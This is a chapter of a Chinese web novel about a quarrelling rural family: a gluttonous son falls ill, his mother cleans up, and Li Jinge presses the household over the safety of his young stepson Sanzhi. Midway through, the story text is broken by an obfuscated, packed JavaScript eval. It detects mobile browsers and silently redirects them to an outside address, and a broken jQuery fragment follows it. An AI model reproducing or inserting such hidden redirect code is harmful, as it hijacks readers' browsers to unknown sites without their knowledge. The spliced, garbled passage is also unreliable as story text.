23.第 23 章
作品:《后爹门前好种田》 第23章
没有证据。
只是自己凭空臆想。
这就深信不疑了。
好在徐老大没立马动弹,只是沉声问:“看看屋里还少了什么。”
张氏就继续拾掇。
地上的板凳都倒了,墙上有些脏污。
靠近门口的地上,有一摊脏污,还散发着恶臭的味道。
一看就是拉了,这还有些干了。
张氏低头闻了下,骂骂咧咧的,“怎么在屋里拉了!”
又出去找土,准备回来清理干净。
这时候,徐老大也察觉到屋里味儿不对劲了,赶忙从屋里出来,到了院子里,又瞧见院子里也兵荒马乱的,尤其是墙根处,扔着好几条脏裤子。
其中有裤子很眼熟,明显是自己的。
正好这会子李瑾歌过来,见着徐老大盯着墙根看,就道:“大慧刚跑回来就拉了,直接拉裤子里。
娘去你屋里找裤子给大慧穿,后面又拉了。
上午叫赤老头来,你也知道。
杀了只鸡,大部分吃食都留着,专门放你屋里。
结果不知道怎么的,叫大慧知道了,那还拉着,非得去吃。
可不就得拉屋里……”
家里这个样,都是因为大慧,可不是因为旁的人。
张氏在厢房门口忙活,也听到这话了。
她倒是脸色不变。
好像先前说李瑾歌来偷裤子,来大房屋里折腾的人不是她似的。
只徐老大脸色难看。
他要面子,在外面要面子,在家里也要面子。
这会子觉得面子又掉地上了。
就自己找台阶下。
左右看了看,见着自己住的厢房边上的小厢房门开着,就赶忙过去。
进到屋里,瞧见大慧了。
屋里也是一股子大粪的臭味,炕上乱七八糟的。
大慧躺在炕上,看着是气若游丝的。
“怎么了这是?”徐老大上前看了眼,有些心疼。
“爹?”大慧掀开眼皮看了眼,又赶忙闭上。
其实刚开始回来的时候,虽然拉的也很厉害,但那时候大慧还是很有力气的。
能去屋里跟徐老头、徐老太两个人争抢鸡汤和鸡肉,而且两个人抢不过他,叫他把鸡汤抢过来,全都给喝了,鸡肉也全都给吃了。
一点都没剩。
结果鸡肉还没吃完,还在大房屋里,当时肚子里就翻江倒海的,偏偏肚子疼,却吐不出来。
就开始拉。
都没来得及去茅厕,裤子也没来得及脱。
又是拉裤子里。
地上也都是。
徐老太没法子,只能继续翻找徐老大的裤子,好给大慧穿。
偏偏大慧实在是拉的太厉害,弄脏好几条裤子。
这会子大慧躺在炕上,直接没穿裤子,下面的被褥也都没铺,只铺了干草,自个儿躺在上面,身上盖着被子,这样真是来不及了,一下子就能掀开。
也是拉的太厉害 ,这会子是连掀开眼皮的力气都没有了。
反正那是里里外外都难受。
徐老大看了一会子,皱眉出来了。
实在是屋里的味儿太难闻,不但有大粪的臭味,就是大慧三兄弟用的被褥,还有地上乱扔的衣服,那都有一股子很难闻的味儿。
出来了,徐老大就冲着张氏道:“去大慧屋里拾掇拾掇,被褥和衣服都拿出来给洗洗。
还有墙根那些脏衣服,都是大慧弄脏的,也拿去洗干净。”
“嗯。”张氏应了声,就去大慧屋里。
一看大慧那样,张氏眼泪就掉下来了,心疼的不行。
一边拾掇,一边嘟嘟哝哝的说话。
“叫你别乱吃,你不听。
还非得跑回来,直接拉地里就行了。
跑回来倒好,弄脏那么些裤子,还得我来洗。
你奶也是的,从来不给你洗衣服……”
都是抱怨。
大慧听了一会子,很不耐烦,就道:“娘,你行了!”
也有脾气。
而且脾气还不小。
张氏一看大慧这样,就不敢说话了。
把屋里的脏衣服都收拾了拿出来,放到木盆里,这就要端着出去洗。
又去墙根拿那些脏衣服,上面那么些屎尿,脏的直接叫张氏干呕,要不是只有早晨吃了饭,晌午没吃饭,肚子里实在是没东西,这会子真能吐出来。
实在是下不去手拿,只能去找了根木棍挑起来。
也没法子放到木盆里,只能就这么挑着往外走。
正好叫徐老大瞧见,脸就更黑。
不过他也想不出更好的法子,只骂了句,赶忙转头,就当没看到这个。
李瑾歌就在院子里,都瞧在眼里。
也是巧了,等张氏出了门,徐老太才从屋里出来,瞪了眼李瑾歌,嘴里极小声的,反正是骂骂咧咧的,没好话。
不一会子,徐老二也出来了。
倒是没瞧见徐老头和二慧。
李瑾歌就问:“娘,二慧呢?”
“出去了!”徐老太没好气道。
这也很正常。
毕竟家里臭气熏天。
先前估摸着是二慧以为大慧跑回来,家里是真的有好吃的,自己憋了憋,忍了忍,实在是没忍住,就也跑回来。
可那时候大慧拉的厉害。
他跑回来一看,家里那叫一个埋汰。
那自然是待不下去,得赶忙出去。
徐老头也没在家。
不过李瑾歌刚问完,徐老头就回来了,手里拿着一包药,直接递给徐老太,也没言语,就进了屋。
徐老太就进屋熬药。
这明显是去给大慧抓药去了。
这时候,李瑾歌才招呼徐老二,“你去弄些温水来,我给三志冲洗下。
脸上的沙子都得弄干净,叫伤口好的快一些。
这阵子都不能沾水了,估计不会留疤。”
徐老二就去灶房屋里弄温水。
弄了温水,李瑾歌给收拾。
都弄干净了,就带着三志回屋,叫大志和二志看着。
自个儿则是去了灶房屋里,就站在门口,也没往里面去,冲着徐老太道:“娘,地里的事儿你应当都知道,三慧下手没轻重,这不是小事。
三志说是还小,可到底是三岁了。
就这样,还叫他弄得一身都是伤。
大慧这就说亲,等到时候成亲,很快就得有孩子。
刚下生的孩子小的很,就是三慧那样的,娘你能放心?
娘,我这可真不是故意找事,你得自己仔细想想。”
徐老太原本不乐意听李瑾歌说这些话,不过提到大慧了,她自然得在意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148776|195802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而且仔细说起来,这话其实一点错都没有。
三慧就是那样的,没轻重,没分寸。
“回头我说说他。”徐老太到底是说了句。
李瑾歌又道:“我反正是管不了什么,也就是说这些不好听的。
可孩子还有舅舅,真要是有哪儿不好的,人家肯定得来管。
咱家那也得要脸,要真到时候拿起来,弄个没脸也不好。”
又说三志舅舅那边。
徐老太自然知道,舅舅那边都有出息,日子过得好,人家但凡是动一动手指头,那就不是家里能承受得起的。
“你放心行了,以后我管着三慧。”徐老太又道。
李瑾歌点头,这才算完。
不过也只是面上这样。
回到屋里,见着徐老二也在,李瑾歌就道:“先前的点心呢?
你给我一块,我拿去哄哄三慧。
但凡是我能想到的法子,肯定都得用了试试。
可不能再叫三慧动手……”
“都在娘那里。”徐老二低声道。
李瑾歌这就没法子说什么了。
偏偏徐老二又道:“大房的事儿,咱们也不好管。
以后有什么事,你跟我说,我来想法子。”
言外之意,就是不叫李瑾歌管大房那边的事儿。
李瑾歌笑了下,就道:“我什么时候管大房的事儿了?
大慧贪吃,瞧见好吃的就不要命,我管过?
大嫂是个糊涂的,动不动就乱说话,我管过?
大哥不知道什么时候就心情不好了,也不解释,就爱动手,我管过?
大房的任何事情,我都不会管。
我管了什么?不是三志的事儿?
三志是你儿子,他吃亏是小,主要是以后不能叫他继续吃亏!
而且三志年纪小,指不定什么时候就得吃大亏。
我管三志有错?”
一句一句的问徐老二。
这些事当然没错。
只是徐老二没言语。
李瑾歌见状,又道:“我顾着三志,这一点错都没有。
甭管拿到哪儿去说,都没有人会说我的不是。
至于老大那边,甚至是爹娘那边,他们怎么样,那是你的事儿。
你跟他们才是一家人,才是一块过活那么些年的人。
你得自己想法子权衡这些事,不过你要是没法子弄明白,跟我说,我倒是也能帮着掰扯明白!”
李瑾歌的意思也很明白。
虽然他跟徐老二成亲了,礼法上,他确实是徐家的人。
确实是的孝顺徐老太,听徐老太的话。
可实际上过日子不是这样的。
他不是张氏那种人,徐老大说什么就是什么,要是叫徐老大不如意了,那说动手就动手,一点情面都不留的。
李瑾歌眼前就跟徐老大划出道道来,两边都很清楚。
而且这还不是一回两回的强调了。
他就是这样的人。
就打算过这样的日子。
只看徐老二自己愿意不愿意了。
徐老二沉默,过了一会子压低声音道:“三慧、二慧、三慧那个样,你也看到了。
老大过日子不容易,眼前又得给大慧说亲,到处都得操心。
要是有顾不上的地儿,你多担待。
娘那边……”

